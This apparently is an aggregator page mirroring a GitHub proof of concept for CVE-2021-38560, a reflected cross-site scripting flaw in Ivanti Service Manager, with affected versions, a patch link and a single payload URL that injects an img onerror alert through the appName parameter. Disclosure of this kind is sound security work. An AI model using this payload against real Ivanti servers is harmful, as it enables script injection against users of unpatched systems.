CVE-2021-38560 PoC — Ivanti Service Manager 跨站脚本漏洞

Source

https://github.com/os909/iVANTI-CVE-2021-38560

Associated Vulnerability

Title: Ivanti Service Manager 跨站脚本漏洞 (CVE-2021-38560)
Description:Ivanti Service Manager 2021.1 allows reflected XSS via the appName parameter associated with ConfigDB calls, such as in RelocateAttachments.aspx.

Readme

# iVANTI-CVE-2021-38560
> Ivanti Service Manager 2021.1 infected with reflected XSS via the appName parameter associated with
> ConfigDB calls, such as in RelocateAttachments.aspx.
> 
> Vulnerability Type:
> Cross Site Scripting (XSS)
>
> ------------------------------------------
>
> Vendor of Product:
> IVANTI
>
> ------------------------------------------
>
> Affected Product Versions:
> Service Manager - (=<2021.3)
>
> ------------------------------------------
>
> Payload:
>
> http://localhost/HEAT/maintenance/RelocateAttachments.aspx?appId=2-IVNTI-APP02.localhost&appName=%27"><img%20src=1%20onerror=alert(1)>ConfigDB
>
> ------------------------------------------
> 
> Patched Version:
> https://forums.ivanti.com/s/article/Ivanti-Neurons-for-ITSM-ITAM-v2021-4-Download?ui-force-components-controllers-recordGlobalValueProvider.RecordGvp.getRecord=1

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →